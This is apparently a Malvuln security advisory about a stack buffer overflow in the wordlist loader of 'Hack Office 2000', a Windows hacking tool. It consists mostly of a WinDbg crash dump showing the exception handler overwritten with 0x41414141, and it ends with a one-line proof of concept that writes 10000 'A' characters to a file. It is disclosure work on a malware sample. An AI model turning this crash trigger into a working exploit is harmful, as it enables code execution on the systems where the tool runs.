Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/e60606d19a36789662ba97b4bb5c4ccf.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: HackTool.Win32.Agent.gi Vulnerability: Local Stack Buffer Overflow (SEH) Description: The Hack Office 2000 malware doesnt check bounds when loading textfiles for the wordlist to perform website URL cracking. Loading a specially crafted wordlist will trigger a stack buffer overflow overwriting the registers and structured exception handler (SEH). Type: PE32 MD5: e60606d19a36789662ba97b4bb5c4ccf Vuln ID: MVID-2021-0359 ASLR: False DEP: False Safe SEH: True Disclosure: 10/04/2021 Memory Dump: (f98.b28): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=77b79d70 esi=000a1828 edi=000a1cec eip=77b5e916 esp=000a1770 ebp=000a1810 iopl=0 nv up ei pl nz ac po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200212 ntdll!ZwQueryInformationProcess+0x26: 77b5e916 c21400 ret 14h 0:000> .ecxr eax=00000000 ebx=00000000 ecx=41414141 edx=77b79d70 esi=000a1828 edi=000a1cec eip=77b5e916 esp=000a1770 ebp=000a1810 iopl=0 nv up ei pl nz ac po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200212 ntdll!ZwQueryInformationProcess+0x26: 77b5e916 c21400 ret 14h 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: +597a550 46623b9a ?? ??? EXCEPTION_RECORD: 000a1e28 -- (.exr 0xa1e28) ExceptionAddress: 00000000 ExceptionCode: 0001007f ExceptionFlags: 00000000 NumberParameters: 0 PROCESS_NAME: HackTool.Win32.Agent.gi.e60606d19a36789662ba97b4bb5c4ccf MODULE_NAME: unknown FAULTING_MODULE: 77af0000 ntdll DEBUG_FLR_IMAGE_TIMESTAMP: 0 ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000001 EXCEPTION_PARAMETER2: 000a0ff8 WRITE_ADDRESS: 000a0ff8 FOLLOWUP_IP: +597a550 46623b9a ?? ??? FAILED_INSTRUCTION_ADDRESS: +26 41414141 ?? ??? MOD_LIST: <ANALYSIS/> CONTEXT: 0019f8e8 -- (.cxr 0x19f8e8) eax=41414141 ebx=41414141 ecx=41414141 edx=41414141 esi=41414141 edi=41414141 eip=41414141 esp=41414141 ebp=41414141 iopl=0 nv up di pl zr na po cy cs=4141 ss=4143 ds=4141 es=4141 fs=4141 gs=4141 efl=41414141 4141:41414141 ?? ??? Resetting default scope ADDITIONAL_DEBUG_TEXT: Use '!findthebuild' command to search for the target build information. If the build information is available, run '!findthebuild -s ; .reload' to set symbol path and load symbols. ; Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD] LAST_CONTROL_TRANSFER: from 00000000 to 41414141 FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACKIMMUNE_BAD_INSTRUCTION_PTR_INVALID_POINTER_WRITE_WRONG_SYMBOLS_EXPLOITABLE_FILL_PATTERN_41414141_EXH PRIMARY_PROBLEM_CLASS: STACKIMMUNE_EXH DEFAULT_BUCKET_ID: STACKIMMUNE_EXH IP_ON_STACK: +26 41414141 ?? ??? IP_IN_FREE_BLOCK: 41414141 UNALIGNED_STACK_POINTER: 41414141 STACK_TEXT: 00000000 00000000 unknown!hacktool.win32.agent.gi.e60606d19a36789662ba97b4bb5c4ccf+0x0 STACK_COMMAND: .cxr 000000000019F8E8 ; kb ; ** Pseudo Context ** ; kb SYMBOL_NAME: unknown!hacktool.win32.agent.gi.e60606d19a36789662ba97b4bb5c4ccf FOLLOWUP_NAME: MachineOwner IMAGE_NAME: unknown FAILURE_BUCKET_ID: STACKIMMUNE_EXH_c0000005_unknown!Unloaded BUCKET_ID: APPLICATION_FAULT_STACKIMMUNE_BAD_INSTRUCTION_PTR_INVALID_POINTER_WRITE_WRONG_SYMBOLS_EXPLOITABLE_FILL_PATTERN_41414141_EXH_BAD_IP_unknown!hacktool.win32.agent.gi.e60606d19a36789662ba97b4bb5c4ccf Followup: MachineOwner --------- 0:000> !exchain 0019e8c0: HackTool_Win32_Agent_gi+37f72 (00437f72) 0019f8e8: 41414141 Invalid exception stack at 41414141 Exploit/PoC: 1) python -c "print('A'*10000)" > DOOM.txt 2) Load DOOM.txt in the vulnerable malware as wordlist for URL cracking feature. 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